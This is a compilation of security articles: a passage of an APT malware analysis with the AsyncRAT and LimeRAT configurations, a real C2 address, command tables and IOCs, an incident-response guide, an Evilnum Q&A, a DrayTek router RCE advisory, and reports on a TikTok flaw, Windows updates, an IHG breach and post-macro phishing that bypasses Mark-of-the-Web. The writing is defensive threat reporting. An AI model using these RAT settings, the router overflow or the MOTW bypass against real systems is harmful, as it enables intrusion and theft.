Checks the .NET version in the registry; based on the installed version, renames the compatible RAT file to “excel.exe”
Checks the registry keys to determine the .NET version in the order listed below.
If found, a version of the runtime file (AsyncRAT) is picked corresponding to the .NET version.
If none of the registry keys are found, the file “3_5” (LimeRAT) is used.
HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4
HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4.5
HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4.5.1
HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4.5.2
HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4.6
HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4.6.1
HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4.7
HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4.7.2
Sets the file attributes of “excel.exe” to hidden and read-only.
Adds a “Run” registry entry for persistence.
Deletes the unused RAT executable files.
Starts the “excel.exe” process.
Figure 11.
Process chain
Figure 11.
Process chain
Figure 12.
Run registry entries
Figure 12.
Run registry entries
Both AsyncRAT and LimeRAT source code are publicly available.
Async rat settings configuration
Ports = "6606”
Hosts = "107.173.143.111"
Version = "2.5.7b"
Install = "false"
InstallFolder = "AppData"
InstallFile = "msexcl.exe"
Key = "MZ-RX
MTX = "%MTX%";
Certificate = "%Certificate%"
Serversignature = "%Serversignature%"
X509Certificate2 ServerCertificate;
Anti = "false";
Aes256 aes256 = new Aes256(Key);
Pastebin = "null";
BDOS = "false";
Delay = "24";
Group = "Debug";
Async rat commands
Server Commands
pong 	Get interval from client
plugin 	Run/Load plugin file
saveplugin 	Save and Run plugin file
Client Commands:
clientinfo 	Send system info to server
ping 	Ping server
sendplugin 	Get plugin from server
Lime rat settings configuration
Pastebin = "https://pastebin.com/raw/DDTVwwbu"
HOST = "107.173.143.111"
PORT = "8989"
EncryptionKey = "MZRX"
ENDOF = "|'N'|"
SPL = "|'L'|"
EXE = "CLIENT.exe"
USB = "false"
PIN = "false"
ANTI = "false"
DROP = "false"
PATH1 = "Temp"
PATH2 = "\Lime\"
fullpath = Environ(PATH1) & PATH2 & EXE
BTC_ADDR = "THIS IS YOUR BTC 1234567890" 'Bitcoin address
DWN_CHK = "true"
DWN_LINK = ""
Delay = "3"
Lime rat commands
Server Commands
IPSend 	Run timer
IP 	Stop timer
ICAP 	Capture screen Thumbnail
CPL 	Check if plugin is installed
IPL 	Save plugin and then load it (server send plugin)
IPLM 	Load plugin without saving it (server send plugin)
Client Commands
INFO 	Sends system info
IP 	Ping to server
IPStart 	Timer started
#CAP 	Sending Thumbnail
GPL 	Get plugin from server
MSG 	Send Message
These RATs can extend their capabilities using existing or user-defined plugins.
At the time of analysis both AsyncRAT and LimeRAT were not getting responses from the C2 server “107.173.143.111”
Detections and Indicators
FE_APT_Dropper_Macro_DoubleHide_1
MITRE ATT&CK Techniques
T1071 	Application Layer Protocol 	HTTP/DNS requests are used in the C&C traffic
T1036 	Masquerading 	The registered task/service pretends to be benign by name
T1056 	Input Capture 	Keylogging capabilities
T1113 	Screen Capture 	Can capture the screen of the victim
T1115 	Clipboard Data 	Collect data stored in the clipboard from users copying information within or between applications.
T1049 	System Network Connections Discovery 	Performs network discover for lateral movement into network
T1547 	Boot or Logon Autostart Execution 	Run entry is made when persisting via the registry
T1204 	User Execution 	Opening malicious xls to execute macro
T1041 	Exfiltration Over C2 Channel 	Send stolen data using CNC channel
T1137 	Office Template Macros 	Execute malicious code upon macro execution
IOCs:
File Name 	SHA256
3_5 	7a6b87a7ba79160232579157b8ebcaea7660392d98cb6b8b3d562a383a0894bc
4 	5e44f769aa9a745ade82589bbbd17c3687f2fb7c08b1043d8c5c44d28eaa20a9
4_5 	fe1c8b01f5abc62551b0a3f59fe1675c66dd506d158f5de495a5d22d7445e6e9
4_5_1 	fa9cb5608841f023052379818a9186496526039bc47cac05a6866f5fb0e70fc5
4_5_2 	080fcc70c11248eaf34bd30c0dc9800b0b1742fe92c96c9995a1c73c0adf2336
4_6 	465a59b7a97364bc933703a8fda715090c6a927f814bc22a0057e6a7134cb69f
4_6_1 	5e082d1c85e591aebb380d7d7af56000ac0ef5fc32e216cb5fe7027bb9861743
4_7 	f59dc209ee236e5ed78f83117865164e57a223f742c75f57c20d3da4cbe179e0
4_7_2 	f32b0d71274ea93f27527079371e5e926e8d6a6f29d84ac602e48da0332c9f4c
igfx.exe 	8248432bcba6e8bb8731c0b8f2fbe4aae2e2d0fee2157477c83343743c39c1a8
msword.exe 	06064b3b0158efbfa9d849c853a9783c7e9d07c5924275d0d33c6ac74c78eec7
Unknown.xls 	886c5883113d279d97caaca2714860dfceb421c7297dbb3ee04a00b7d50b821b
Unknown.ZIP 	b9584cf67e73a759d6c412962d4a9d7471c703f72e056cd24742a4b78c68ff2d
URL:hxxps://drive.
Google.com/u/0/uc?id=1nU6-jGVnOKeZofflu8hfx2t83lAB9TPI&export=download
CnC:107.173.143.111
Email Subjects:
9th Herat Security Dialogue (HSD- IX) & Chabahar port Update
feb212021_kabul.contact@gmail.com
Information & Guidance
Fwd: Combined MoFA Recruitment Approval
Guests List - Media Release (Personal & Confidential)
Indian workers missing from the dam project
Indian Nationals ( who were hidden in Kabul ) Killing in Kabul Tonight
11 Indian Nationals found dead in Kabul
Circular
Indian Nationals Killing in Kabul
31 Covid Deaths In 24 Hours: Information campaign by NDTV
Email Senders:
kabul.contact@gmail.com
mashrefhaideri@gmail.com
latifmahmood66666@gmail.com
fscon.kab@gmail.com
admn.kabul@gmail.com
ravish49.ndtv@gmail.com
From incident to resolution: Essential steps to survive a cyberattack
Monitoring all the events in your corporate network is big data “business.”
Any observable phenomena – from logins to downloads, scripts, updates, configuration changes, etc.
– happening across all the endpoints, servers, routers, switches and other infrastructure in your network can create event logs that rapidly grow to almost unimaginable mountains of data to be processed.
Inevitably, a number of events have negative consequences for your company’s security.
An employee plugs a personal USB stick – compromised by a worm – into their work device and, suddenly, an adverse event!
But did you set up your systems to detect those events?
And now that one has happened, what are you going to do about it?
Not every adverse event merits the mobilization of the full incident response team.
Automated response plays a large part in managing the resources and time available for your IT security.
Often, the danger from an adverse event can be managed well enough by a single IT administrator wielding the basic tools of the trade.
However, if your security analyst discovers a more insidious pattern and intent at play behind all those single adverse events or, alternatively, an inexplicable system failure occurs, then you probably have a security incident serious enough to warrant calling in your computer security incident response team (CSIRT).
With a well-thought-out incident response plan in hand, a well-trained CSIRT can confidently buckle down and take on any adversary attacking your network.
Four Phases of Incident Response
An important standard to check your incident response plan against comes from a NIST publication called the Computer Security Incident Handling Guide (SP 800-61).
The guide details four phases of incident response: Preparation; Detection & Analysis; Containment, Eradication & Recovery; and Post-Incident Activity.
Handling incidents by following these four steps can help ensure a successful return to normal business operations.
So, let’s take a look at what is involved in each step.
1.
Preparation
Before any incident happens, it is important to establish the proper security controls that will minimize the incidents that can happen in the first place.
In other words, your corporate network needs to be built and maintained with security foremost in mind.
That includes keeping servers, operating systems and applications up to date, suitably configured and fortified with malware protection.
Your network perimeter should also be properly secured via firewalls and VPNs.
Don’t forget about your Achilles heel – the seemingly innocent employees at their desks.
A little training can go a long way to limit the number of incidents caused by bad employee behavior.
A crucial part of setting up your network is to make sure all the necessary monitoring and logging tools are in place to collect and analyze the events happening in your network.
Options range from remote monitoring and management (RMM) tools to security information and event management (SIEM) tools, security orchestration automation and response (SOAR) tools, intrusion detection systems (IDS) and intrusion prevention systems (IPS), as well as endpoint detection and response (EDR) solutions.
More threat-averse organizations, such as banks and government bodies, take advantage of threat intelligence feeds like ESET Threat Intelligence Service to provide indicators of compromise that, if found within an environment, could start off the incident response process.
Deciding which monitoring and logging tools that are appropriate for your network will have a huge impact on your CSIRT’s detection and analysis activities, as well as the remediation options available to them.
Creating an incident response team
Next, establish an incident response team and keep it trained.
Smaller organizations will most likely require only a temporary team made up of existing IT admins.
Larger organizations will have a permanent CSIRT that will usually bring in other IT admins from the company only to aid in specific attacks; for example, a database admin to help analyze a SQL injection attack.
Outsourcing incident response to a managed security service provider (MSSP) is also an option, although it can be costly.
If you are considering this option, you should be prepared for the longer response time.
Some incident response team members may need to fly to your location, which is that much more time for threats to further impact your network.
Most importantly, any CSIRT needs to have staff members on board who understand how their network is built.
Ideally, they should have experience in what “normal” looks like for you and what is unusual.
Management also needs to take an active role by providing the necessary resources, funds and leadership for a CSIRT to do its work effectively.
That means providing the tools, devices and jump kits that will be needed by your CSIRT, as well as making the tough business decisions brought on by the incident.
Imagine, for example, that the CSIRT discovers that the business ecommerce server is compromised and needs to be taken offline.
Management needs to quickly weigh the business impact of turning off or isolating the server and communicate the final call to the CSIRT.
Other staff members and teams throughout the organization also provide crucial support for a CSIRT.
IT support staff can assist by shutting down and replacing servers, restoring from backups and cleaning up as requested by the CSIRT.
Legal counsel and public relations teams are also important to manage any communication surrounding the incident with external media, partners, customers and/or law enforcement.
2.
Detection & Analysis
In this phase, incident response analysts bring the power of their knowledge, experience and logical thinking to bear on the multifarious forms of data presented to them by all the monitoring tools and logs to understand exactly what is happening in the network and what can be done.
The task for the analyst is to correlate events so as to recreate sequences of events leading to the incident.
Especially crucial is being able to identify the root cause in order to switch to phase 3’s containment steps as quickly as possible.
However, as pictured in NIST’s incident response life-cycle diagram, phases 2 and 3 are circular, meaning that incident responders may switch back to phase 2 to conduct further root cause analysis.
In this cycle, it can happen that finding and analyzing some data in phase 2 suggests the need to take a particular mitigation step in phase 3.
Taking that step can then uncover additional data warranting further analysis that leads to further mitigation steps, and so on.
Endpoint detection and response solutions, such as ESET Enterprise Inspector, that automatically flag suspicious events and save entire process trees for further examination by incident responders greatly bolster phase 2 activities.
3.
Containment, Eradication & Recovery
In the third stage, the CSIRT decides on a method to stop the further spread of detected threats.
Should a server be shut down, an endpoint be isolated, or certain services be stopped?
The chosen containment strategy should consider the potential for further damage, preserving evidence and the time duration of containment.
Usually, this means isolating compromised systems, segmenting parts of the network, or putting affected machines in a sandbox.
Sandboxing has the benefit of allowing for further monitoring of the threat as well as collecting more evidence.
However, there is a danger that a compromised host can become further damaged while in the sandbox.
Legal counsel may determine that the CSIRT should collect and document as much evidence as possible.
In this case, the transfer of evidence from person to person needs to be meticulously logged.
Once contained, any discovered malware needs to be deleted from compromised systems.
User accounts may need to be disabled, closed or reset.
Vulnerabilities should be patched, systems and files should be restored from clean backups, passwords should be changed, firewall rules should be tightened, etc.
A full return to normal business operations can take months depending on the incident.
In the short term, increased or more finely tuned logging and monitoring should be established so that IT admins can prevent the same incident from happening again.
The longer term might see more overarching infrastructure changes to help transform the network into a more secure one.
4.
Post-Incident Activity
A CSIRT should document and provide an event reconstruction and timeline.
This helps to understand the root cause of the incident and what can be done to prevent a repeat or similar incident.
This is also the time for all teams to review the effectiveness of the processes and procedures used, identify gaps in communication and collaboration difficulties, and look for opportunities to introduce efficiencies to the current incident response plan.
Finally, management needs to decide on the retention policy for evidence collected during the incident.
So, don’t just the wipe the hard drives without first consulting your legal department.
Most organizations archive incident records for two years to stay in compliance with regulations.
Looking to complement your incident response toolkit with powerful investigative capabilities?
Get a free trial of ESET Enterprise Inspector.
Financial technology companies – big money and data for targeted malware attacks
A Q&A with security researcher Matías Porolli, who has been keeping tabs on the latest activity of Evilnum, a cybercriminal group targeting financial technology (FinTech) companies
COVID-19 lockdowns have undoubtedly affected how people interact with their money.
Cutbacks on the usual spending on holidays and travel, as well as trends in unemployment, have shifted money priorities and use.
Some have been focusing on paying off debts, some are taking out mortgages at great interest rates and some have even gone back to stashing cash under the mattress.
Others have turned to retail (stocks and options) trading, a scene that has become no stranger to flocks of newly minted amateurs flooding popular trading platforms and earning increasing clout against even veteran investors.
But what novice traders may not at first realize is how valuable a role their data and cash play in the profit game.
Signing up to a trading platform means complying with Know Your Customer regulations and sharing your personal data.
How secure is your data, and how lucrative is it if leaked or stolen?
Cybercriminal groups like Evilnum remain very active today, posing a serious threat to wealth, security and privacy.
We sat down with ESET researcher Matías Porolli to shed further light on the matter.
Welcome, Matías!
Before getting into your research on Evilnum, can you tell us a little bit about your most recent research endeavors?
Thank you for having me!
I’m usually tracking malicious activities that affect Latin America.
Recently, I published a story about Operation Spalax concerning malware attacks targeting Colombian government agencies, as well as private companies in that country.
I’m also still tracking activities of the Evilnum group, as they’ve shown to be very active lately.
What first piqued your interest in the activities of the Evilnum group?
It all started when I was monitoring some feeds that we have in our lab, based on ESET’s telemetry data.
Initially, I found a new version of one of their malicious components that was only detected by a few security vendors.
This and the fact that the malware was seen only in less than 10 of our customers’ networks gave me the idea that this was a targeted attack and caught my attention.
After a deeper analysis of the malware, I noticed that some researchers had already written about it.
However, not much had been said about the group itself or their targets.
As I found more related components and tools used by this group, I was able to confirm that they only target FinTech companies and that they had a larger infrastructure than what was described before my report.
Why should FinTech companies be especially on the watch for this particular group?
FinTech companies should be on the watch because this group has been operating for years and is still active nowadays.
This means that they have had enough success to sustain their operations.
This group approaches their targets with spearphishing emails, in which they pretend to be potential customers of various FinTech platforms.
They take advantage of the Know Your Customer regulations that require these companies to verify documents on a daily basis.
It is important that FinTech companies are aware of these attacks, and thoroughly check that the documents they receive are really those requested and not shortcut files that execute malware.
Why do you think the Evilnum group, and its malicious contemporaries, see FinTech companies as a gold mine?
On the whole, FinTech companies deal with a large volume of investments and trading operations, so having access to this information is very profitable for these groups.
Even if they don’t use the stolen information directly, in some cases these groups are either hired or they sell the information to third parties.
It’s also possible that their high success and their knowledge of the sector encourage them to keep operating in that sector, with specific targets.
Since your research was published in July 2020, Kaspersky researchers later posited some connections between Evilnum, Janicab and Powersing.
What possible links to malware families such as these, or others, have you discovered?
Janicab and Powersing are malware families that target other sectors such as law firms.
After our publication about Evilnum, Kaspersky researchers wrote about some similarities they found in how these three malware families work.
They grouped these three campaigns, with medium confidence, into one single hacker-for-hire group that they named DeathStalker.
What I’ve seen in my research is that the Evilnum group has used tools from a Malware-as-a-Service (MaaS) provider known as Golden Chickens.
This MaaS provider seems to be quite popular among criminals who target the financial sector, and other infamous groups such as FIN6 are their customers.
The group behind Evilnum malware seems to remain fairly active in developing new tools, updating their old ones, using publicly available tools and even renting tools.
What does this diverse investment into tooling reveal about the group behind Evilnum?
It means that their criminal activities are profitable enough to invest part of their earnings into custom tools, new infrastructure (servers, domain names) and continuous updating of their older tools.
This is not only true for the Evilnum group, but also for other groups that target FinTech companies.
In September 2020, researchers at Cybereason published a report about a new infection chain that was being used by the Evilnum group to ultimately drop a new Python RAT called PyVil.
In 2021, we have seen attacks with new versions of PyVil, as well as new versions of their flagship JavaScript malware, which we described in July 2020.
What should security teams at FinTech companies do to detect and defend against a possible infiltration of Evilnum in their company’s network?
The first battle is to be aware of the risks and adversaries.
It is important to be well informed.
So my first recommendation is to subscribe to Threat Intelligence data feeds.
These provide security operations center teams with actionable indicators to monitor.
Also, I recommend consulting public sources of information.
For example, you can follow our blog, WeLiveSecurity, and our Twitter handle, @ESETresearch for daily content and updates.
Of course, there are also cases where new threats surface, which is why it’s important to have good security solutions that can detect malicious behavior to block attacks proactively.
Mature security teams can use endpoint detection and response solutions such as ESET Enterprise Inspector for early identification of threats and successful remediation.
Unauthenticated Remote Code Execution in a Wide Range of DrayTek Vigor Routers
By Philippe Laulheret · August 3, 2022
Summary
The Trellix Threat Labs Vulnerability Research team has found an unauthenticated remote code execution vulnerability, filed under CVE-2022-32548 affecting multiple DrayTek routers.
The attack can be performed without user interaction if the management interface of the device has been configured to be internet facing.
A one-click attack can also be performed from within the LAN in the default device configuration.
The attack can lead to a full compromise of the device and may lead to a network breach and unauthorized access to internal resources.
All the affected models have a patched firmware available for download on the vendor’s website.
Introduction
DrayTek is a Taiwanese company that manufactures Small Office and Home Office (SOHO) routers with a wide adoption in the UK, Vietnam, Taiwan, etc.
(src: Shodan).
With many businesses implementing work from home policies over the last two years, these affordable devices offer an easy way for Small and Medium Sized Businesses (SMBs) to provide VPN access to their employees.
For this reason, we decided to look into the security of one of their flagship products, the Vigor 3910, and found a pre-authentication remote code execution vulnerability affecting the Vigor 3910 and 28 other DrayTek models sharing the same codebase (see Affected Devices below).
Exploiting this vulnerability can lead to a complete compromise of the device and can enable a malicious actor to access internal resources of the breached networks.
During our research we uncovered over 200k devices which have the vulnerable service currently exposed on the internet and would require no user interaction to be exploited.
Many more devices where the affected service is not exposed externally are still vulnerable to a one-click attack from the LAN.
This vulnerability is tracked by MITRE as CVE-2022-32548 with a CVSS 3.0 score of 10.0.
A patch has already been released by the manufacturer.
If you or your organization are managing DrayTek devices, we recommend that you visit the manufacturer website and apply the patch as soon as possible.
We also applaud DrayTek for their great responsiveness and the release of a patch less than 30 days after we disclosed the vulnerability to their security team.
This type of responsiveness and relationship shows true organization maturity and drive to improve security across the entire industry.
Vulnerable devices
The vulnerable devices are as follow:
Vigor3910 < 4.3.1.1
Vigor1000B < 4.3.1.1
Vigor2962 Series < 4.3.1.1
Vigor2927 Series < 4.4.0
Vigor2927 LTE Series < 4.4.0
Vigor2915 Series < 4.3.3.2
Vigor2952 / 2952P < 3.9.7.2
Vigor3220 Series < 3.9.7.2
Vigor2926 Series < 3.9.8.1
Vigor2926 LTE Series < 3.9.8.1
Vigor2862 Series < 3.9.8.1
Vigor2862 LTE Series < 3.9.8.1
Vigor2620 LTE Series < 3.9.8.1
VigorLTE 200n < 3.9.8.1
Vigor2133 Series < 3.9.6.4
Vigor2762 Series < 3.9.6.4
Vigor165 < 4.2.4
Vigor166 < 4.2.4
Vigor2135 Series < 4.4.2
Vigor2765 Series < 4.4.2
Vigor2766 Series < 4.4.2
Vigor2832 < 3.9.6
Vigor2865 Series < 4.4.0
Vigor2865 LTE Series < 4.4.0
Vigor2866 Series < 4.4.0
Vigor2866 LTE Series < 4.4.0
Impact
The compromise of a network appliance such as the Vigor 3910 can lead to the following outcomes (the following is a non-exhaustive list presented in no particular order):
Leak of the sensitive data stored on the router (keys, administrative passwords, etc.)
Access to the internal resources located on the LAN that would normally require VPN-access or be present “on the same network”
Man in the middle of the network traffic
Spying on DNS requests and other unencrypted traffic directed to the internet from the LAN through the router
Packet capture of the data going through any port of the router
Botnet activity (DDoS, hosting malicious data, etc.)
Leak of the sensitive data stored on the router (keys, administrative passwords, etc.)
Failed exploitation attempts can lead to:
Reboot of the device
Denial of Service of affected devices
Other possible abnormal behavior
Trellix Threat Labs is not currently aware of any signs of exploitation of this vulnerability in the wild; however, DrayTek devices were recently targeted by various known malicious actors.
This was highlighted in the CISA’s memo on the People Republic of China (PRC) compromising SOHO routers and the report from Black Lotus Labs on the ZuoRAT exploiting the Vigor 3900 (end-of-life device replaced by the Vigor 3910).
The nature of CVE-2022-32548 makes it harder to exploit compared to past vulnerabilities affecting DrayTek devices, which may hinder threat actors from quickly adopting this vulnerability into their attack frameworks.
Demo video
The following demo video highlights how an attacker could compromise a Draytek router and pivot to internal resources in a mock-network we’ve created.
Technical details
The web management interface of the vulnerable DrayTek devices is affected by a buffer overflow on the login page at /cgi-bin/wlogin.cgi.
An attacker may supply carefully crafted username and/or password as base64 encoded strings inside the fields aa and ab of the login page.
This would cause the buffer overflow to trigger due to a logic bug in the size verification of these encoded strings.
By default, this attack is reachable on the LAN and may be reachable via the internet (WAN) as well if the user has enabled remote web management on their device.
The consequence of this attack is a takeover of the so called “DrayOS” that implements the router functionalities.
On devices that have an underlying Linux operating system (such as the Vigor 3910) it is then possible to pivot to the underlying operating system and establish a reliable foothold on the device and local network.
Devices that are running the DrayOS as a bare-metal operating system will be harder to compromise as it requires that an attacker has better understanding of the DrayOS internals.
We will release more details as of how this bug was found and exploited in our upcoming talk at Hexacon on October 14-15, 2022 and the follow-up blog post that we will publish alongside the presentation.
Detection
Exploitation attempts can be detected by logging/alerting when a malformed base64 string is sent via a POST request to the /cgi-bin/wlogin.cgi end-point on the web management interface router.
Base64 encoded strings are expected to be found in the aa and ab fields of the POST request.
Malformed base64 strings indicative of an attack would have an abnormally high number of %3D padding.
Any number over three should be considered suspicious.
The Trellix Network Security Platform has additionally released rules for exploitation attempts of this vulnerability under the identifier, DrayTek CVE-2022-32548 Buffer Overflow Attempt.
Recommendation
We provide the following recommendations to those potentially affected by a vulnerable DrayTek router:
Make sure the latest firmware is deployed to your device.
You can find the latest firmware by visiting the website of the manufacturer.
In the management interface of the device, verify that port mirroring, DNS settings, authorized VPN access and any other relevant settings have not been tampered with.
Do not expose the management interface to the Internet unless absolutely required.
If you do, make sure you enable 2FA and IP restriction to minimize the risk of an attack.
Change the password of affected devices and revoke any secret stored on the router that may have been leaked.
Conclusion
Edge devices, such as the Vigor 3910 router, live on the boundary between internal and external networks.
As such they are a prime target for cybercriminals and threat actors alike.
Remotely breaching edge devices can lead to a full compromise of the businesses’ internal network.
This is why it is critical to ensure these devices remain secure and updated and that vendors producing edge devices have processes in place for quick and efficient response following vulnerability disclosure, just as DrayTek did.
Stay tuned for our next article on DrayTek routers where we will present the process used to uncover this vulnerability.
This document and the information contained herein describes computer security research for educational purposes only and the convenience of Trellix customers.
Trellix conducts research in accordance with its Vulnerability Reasonable Disclosure Policy | Trellix.
Any attempt to recreate part or all of the activities described is solely at the user’s risk, and neither Trellix nor its affiliates will bear any responsibility or liability.
Microsoft found TikTok Android flaw that let hackers hijack accounts
Microsoft found and reported a high severity flaw in the TikTok Android app in February that allowed attackers to "quickly and quietly" take over accounts with one click by tricking targets into clicking a specially crafted malicious link.
"Attackers could have leveraged the vulnerability to hijack an account without users' awareness if a targeted user simply clicked a specially crafted link," Microsoft 365 Defender Research Team's Dimitrios Valsamaras said.
"Attackers could have then accessed and modified users' TikTok profiles and sensitive information, such as by publicizing private videos, sending messages, and uploading videos on behalf of users."
Clicking the link exposed more than 70 JavaScript methods that could be abused by an attacker with the help of an exploit designed to hijack the TikTok app's WebView (an Android system component used by the vulnerable app to display web content).
Using the exposed methods, threat actors could access or modify TikTok users' private information or perform authenticated HTTP requests.
In short, attackers who would've managed to exploit this vulnerability successfully could've easily:
retrieved the users' authentication tokens (by triggering a request to a server under their control and logging the cookie and the request headers)
retrieved or modified the users' TikTok account data, including private videos and profile settings (by triggering a request to a TikTok endpoint and retrieving the reply via the JavaScript callback)
"A WebView Hijacking vulnerability was found on the TikTok Android application via an un-validated deeplink on an un-sanitized parameter.
This could have resulted in account hijacking through a JavaScript interface," the HackerOne report further explains.
Now patched, not exploited in attacks
The security vulnerability, tracked as CVE-2022-28799, is now patched since the release of TikTok version 23.7.3, published less than a month after Microsoft's initial disclosure.
Microsoft says it has not yet found evidence of CVE-2022-28799 being exploited in the wild.
TikTok users can defend against similar issues by not clicking links from untrusted sources, keeping their apps up to date, only installing apps from official sources, and reporting any strange app behavior as soon as possible.
Additional information on how this vulnerability could have been used in attacks for account takeover can be found in Microsoft's report.
In November 2020, TikTok fixed vulnerabilities that enabled threat actors to quickly hijack the accounts of users who signed up via third-party apps.
The company has also addressed other security flaws that could have allowed attackers to steal users' personal information or hijack their accounts to manipulate videos.
According to its Google Play Store entry, TikTok's Android app has over 1 billion installs.
Based on Sensor Tower Store Intelligence estimates, the mobile app has already crossed the 2 billion installs mark on all platforms since April 2020.
Windows 11 KB5016691 preview update released with 22 changes
Microsoft has released the optional KB5016691 Preview cumulative update for Windows 11 with 22 fixes or improvements.
This Windows 11 cumulative update is part of Microsoft's August 2022 monthly "C" update, allowing users to test upcoming fixes coming in the September 2022 Patch Tuesday.
As preview updates do not contain security fixes, they are optional and will not be installed automatically.
Windows users can install the KB5016691 update by going into Settings, clicking on Windows Update, and selecting 'Check for Updates.'
As this is an optional update, you will be prompted to click on the download and install button before Windows 11 will install the update.
Windows 11 users can download and manually install the KB5016691 update from the Microsoft Update Catalog.
What's new in Windows 11 KB5016691
After installing the KB5016691 update, Windows 11 will change its build number to 22000.918.
The Windows 11 KB5016691 cumulative update preview includes 22 improvements or fixes, with the 12 highlighted ones listed below:
Addresses an issue related to USB printing that might cause your printer to malfunction after you restart it or reinstall it.
Addresses an issue that prevents Windows 11 SE from trusting some Microsoft Store applications.
This might prevent you from downloading the untrusted app.
Addresses an issue that might cause certain Bluetooth audio headsets to stop playing after a progress bar adjustment.
Addresses a known issue that causes Microsoft Edge to stop responding when you use IE mode.
This issue also prevents you from interacting with a dialog.
In addition to these highlighted fixes, Microsoft is introducing three new features to Windows 11, including improvements to Microsoft Defender to protect against ransomware and advanced attacks.
Gives IT admins the ability to remotely add languages and language-related features.
Additionally, they can now manage language scenarios across several endpoint managers.
Compresses a file regardless of its size if you have configured Server Message Block (SMB) Compression.
Enhances Microsoft Defender for Endpoint’s ability to identify and intercept ransomware and advanced attacks.
This update also includes the fixes for domain controller reboots and L2TP VPN connection issues caused by the January 2022 updates.
Microsoft says that there is only one known issue in this update, where Microsoft Outlook search may not show recent emails.
"After installing this update, XPS Viewer might be unable to open XML Paper Specification (XPS) documents in some non-English languages, including some Japanese and Chinese character encodings," explains the KB5016691 release notes.
"This issue affects both XML Paper Specification (XPS) and Open XML Paper Specification (OXPS) files."
You can find a complete list of improvements and fixes in the KB5016691 support bulletin.
InterContinental Hotels Group cyberattack disrupts booking systems
Leading hospitality company InterContinental Hotels Group PLC (also known as IHG Hotels & Resorts) says its information technology (IT) systems have been disrupted since yesterday after its network was breached.
IHG is a British multinational company that currently operates 6,028 hotels in more than 100 countries and has more than 1,800 in the development pipeline.
Its brands include luxury, premium, and essential hotel chains such as InterContinental, Regent, Six Senses, Crowne Plaza, Holiday Inn, and many others.
"InterContinental Hotels Group PLC (IHG or the Company) reports that parts of the Company's technology systems have been subject to unauthorised activity," the company said in a filing with the London Stock Exchange on Tuesday.
"IHG's booking channels and other applications have been significantly disrupted since yesterday, and this is ongoing."
The global hotel group has hired the services of external experts to investigate the incident and is also notifying relevant regulatory authorities.
Signs of a ransomware attack?
While the company did not reveal any details regarding the nature of the attack, it did mention in its disclosure that it's working on restoring impacted systems.
This hints at a possible ransomware attack where the threat actors have deployed ransomware payloads and encrypted systems on IHG's network.
In most ransomware incidents, the attackers will also steal sensitive information from their targets' networks before encryption.
This is later used in double extortion schemes where the victims are pressured into paying a ransom under the threat of leaking the stolen data.
"IHG is working to fully restore all systems as soon as possible and to assess the nature, extent and impact of the incident," IHG added.
"We will be supporting hotel owners and operators as part of our response to the ongoing service disruption.
IHG's hotels are still able to operate and to take reservations directly."
Last month, the Lockbit ransomware gang claimed an attack on Holiday Inn Istanbul Kadıköy, one of the hotels operated by IHG.
Holiday Inn Istanbul Kadıköy Lockbit attack claim
Holiday Inn Istanbul Kadıköy Lockbit attack claim (BleepingComputer)
From BleepingComputer's tests, the hotel group's APIs are also down and showing 502 and 503 HTTP errors.
Customers are also unable to log in at the moment, with IHG's app displaying "Something went wrong.
The credentials you entered are invalid.
Please reset your password or contact Customer Care."
errors.
IHG app login error
IHG app login error (BleepingComputer)
Cybercrime intelligence company Hudson Rock says that IHG has at least 15 compromised employees and more than 4,000 compromised users, according to data linked to the ihg[.
]com domain.
The hotel chain giant was also the target of a three-month security breach in 2017—between September 29 to December 29—when more than 1,200 InterContinental franchised hotels in the United States were impacted.
An IHG spokesperson denied commenting when contacted by BleepingComputer earlier today, saying that "outside of the statement, we don't have any more that we can say at the moment."
How Threat Actors Are Adapting to a Post-Macro World
July 28, 2022 SELENA LARSON, DANIEL BLACKFORD AND THE PROOFPOINT THREAT RESEARCH Team
Key Findings:
In response to Microsoft’s announcements that it would block macros by default in Microsoft Office applications, threat actors began adopting new tactics, techniques, and procedures (TTPs).
Threat actors are increasingly using container files such as ISO and RAR, and Windows Shortcut (LNK) files in campaigns to distribute malware.
Proofpoint has observed the use of VBA and XL4 Macros decrease approximately 66% from October 2021 through June 2022, based on campaigned data.
Overview
Microsoft previously announced it would begin to block XL4 and VBA macros by default for Office users in October 2021 and February 2022, respectively.
The changes began rolling out this year.
(There was some confusion in July over the implementation of the VBA macro blocking, but Microsoft announced it would continue rolling it out.)
Threat actors across the landscape responded by shifting away from macro-based threats.
Based on Proofpoint campaign data from October 2021 through June 2022, threat actors have pivoted away from macro-enabled documents attached directly to messages to deliver malware, and have increasingly used container files such as ISO and RAR attachments and Windows Shortcut (LNK) files.
According to an analysis of campaigned threats, which include threats manually analyzed and contextualized by Proofpoint threat researchers, the use of macro-enabled attachments by threat actors decreased approximately 66% between October 2021 and June 2022.
VBA macros are used by threat actors to automatically run malicious content when a user has actively enabled macros in Office applications.
XL4 macros are specific to the Excel application but can also be weaponized by threat actors.
Typically, threat actors distributing macro-enabled documents rely on social engineering to convince a recipient the content is important, and enabling macros is necessary to view it.
emotet
Figure 1: Emotet Excel attachment from a recent campaign.
Proofpoint researchers hypothesized threat actors would start transitioning away from macro-enabled documents directly attached to the message or downloaded via URL to bypass Microsoft’s proposed defenses.
While Proofpoint observed a notable increase in other attachment types, macro-enabled documents are still used across the threat landscape.
Proofpoint researchers investigated the use of multiple filetypes since October 2021 through June 2022 to better understand the threat landscape and anticipate future behavior.
Bypassing Mark-of-the-Web
Microsoft will block VBA macros based on a Mark of the Web (MOTW) attribute that shows whether a file comes from the internet known as the Zone.
Identifier.
Microsoft applications add this to some documents when they are downloaded from the web.
However, MOTW can be bypassed by using container file formats.
IT security company Outflank detailed multiple options for red teamers to bypass MOTW mechanisms, and these techniques can be used by threat actors as well.
Threat actors can use container file formats such as ISO (.iso), RAR (.rar), ZIP (.zip), and IMG (.img) files to send macro-enabled documents.
When downloaded, the ISO, RAR, etc.
files will have the MOTW attribute because they were downloaded from the internet, but the document inside, such as a macro-enabled spreadsheet, will not.
When the document is extracted, the user will still have to enable macros for the malicious code to automatically execute, but the file system will not identify the document as coming from the web.
Additionally, threat actors can use container files to distribute payloads directly.
When opened, container files may contain additional content such as LNKs, DLLs, or executable (.exe) files that lead to the installation of a malicious payload.
